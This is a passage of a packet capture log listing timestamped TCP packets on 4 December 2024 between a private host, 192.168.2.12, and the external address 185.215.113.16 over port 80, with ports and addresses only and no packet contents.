Dec 4, 2024 16:11:01.535799980 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.535813093 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.536056042 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.536830902 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.555619001 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.555633068 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.555725098 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.556056976 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.556252956 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.556348085 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.556380987 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.558067083 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.558087111 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.558168888 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.558209896 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.559025049 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.559113026 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.559345007 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.560185909 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.560198069 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.560410976 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.561033964 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.561083078 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.561247110 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.562208891 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.562295914 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.562442064 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.563218117 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.563322067 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.564249992 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.564313889 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.564357996 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.565293074 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.565383911 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.565484047 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.566406965 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.566567898 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.566606045 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.566864014 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.567523003 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.567651033 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.568675995 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.568756104 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.568797112 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.568907022 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.569876909 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.570043087 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.570199013 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.571166039 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.571178913 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.572055101 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.572127104 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.572371006 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.572563887 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.573174000 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.573220015 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.573405981 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.574286938 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.574573994 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.574827909 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.575424910 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.575588942 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.575680971 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.576637983 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.576649904 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.576874018 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.577689886 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.577873945 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.578038931 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.578790903 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.578934908 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.579184055 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.579952955 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.580153942 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.580373049 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.581064939 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.581130981 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.581346989 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.582178116 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.582284927 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.582500935 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.583288908 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.583347082 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.583448887 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.584414005 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.584548950 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.584769964 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.585565090 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.585642099 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.585861921 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.586677074 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.586958885 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.587121010 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.587846994 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.587996006 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.588247061 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.588929892 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.589062929 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.589596987 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.590066910 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.590167046 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.590878963 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.591161966 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.591341019 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.591523886 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.592557907 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.592710972 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.592966080 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.593467951 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.593574047 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.593751907 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.594556093 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.594568968 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.594733000 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.595689058 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.595804930 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.596831083 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.596852064 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.596869946 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.597920895 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.597963095 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.598048925 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.598831892 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.599098921 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.599160910 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.599678993 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.600193977 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.600387096 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.601296902 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.601344109 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.601421118 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.601578951 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.602467060 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.602615118 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.602713108 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.603629112 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.603723049 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.603864908 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.604736090 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.604892015 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.605674028 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.606040001 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.606053114 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.606841087 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.607055902 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.607089996 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.608236074 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.608248949 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.608289957 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.609252930 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.609318972 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.609328032 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.610270977 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.610311985 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.610336065 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.610831022 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.726237059 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.726260900 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.726691961 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.726890087 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.727089882 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.727226019 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.728127003 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.728194952 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.728204012 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.729142904 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.729183912 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.734833002 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.748078108 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.748100996 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.748326063 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.748517990 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.748708963 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.748769045 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.748819113 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.749839067 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.749929905 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.750089884 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.751023054 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.751113892 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.751168013 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.752124071 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.752300978 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.752322912 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.753246069 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.753360033 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.753361940 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.754443884 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.754587889 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.754875898 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.755505085 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.755594015 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.755954027 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.756592035 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.756735086 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.757833004 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.757867098 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.757874012 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.758810997 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.758872986 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.758981943 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.760003090 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.760046959 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.760082960 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.761219025 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.761254072 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.761431932 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.762162924 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.762197018 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.762244940 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.762316942 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.763431072 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.763463974 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.764549017 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.764638901 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.764743090 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.765789986 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.765871048 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.765877008 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.766478062 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.768647909 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.768707037 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.768718958 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.768862963 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.768913984 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.769042969 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.769054890 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.770167112 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.770232916 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.770256042 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.770720959 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.771225929 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.771327972 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.772396088 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.772437096 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.772558928 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.773545027 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.773578882 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.773749113 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.774687052 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.774728060 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.774796963 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.774832010 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.775784969 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.775861025 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.775916100 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.776894093 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.776969910 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.777025938 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.778006077 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.778199911 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.778235912 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.779098034 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.779236078 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.779359102 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.780261040 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.780319929 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.781430006 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.781469107 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.781527996 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.782819986 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.806229115 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.926181078 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.926388979 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.926728010 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.926772118 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.926852942 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.927907944 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.927984953 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.929013014 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.929073095 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.929096937 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.930197954 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.930234909 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.930368900 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.930830002 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.931303978 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.931415081 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.932440042 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.932504892 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.932549000 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.933475971 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.933578014 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.933602095 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.934617996 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.934693098 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.934715033 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.934820890 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.935776949 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.935976982 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.936872959 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.936945915 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.936975956 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.937995911 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.938026905 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.938144922 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.938843012 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.939173937 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.939255953 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.940236092 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.940279007 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.940397978 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.941385031 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.941428900 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.941431046 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.942462921 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.942517042 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.942588091 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.942821026 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.943816900 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.943882942 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.944792032 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.944843054 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.944875956 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.946050882 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.946096897 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.946126938 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.946827888 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.947096109 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.947235107 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.948139906 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.948175907 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.948256016 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.949259043 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.949347019 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.949385881 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.950576067 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.950628996 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.950666904 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.950846910 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.951498985 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.951618910 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.952589989 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.952629089 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.952766895 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.953839064 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.953877926 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.953969002 CET	80	49724	185.215.113.16	192.168.2.12
Dec 4, 2024 16:11:01.954819918 CET	49724	80	192.168.2.12	185.215.113.16
Dec 4, 2024 16:11:01.954848051 CET	80	49724	185.215.113.16	192.168.2.12
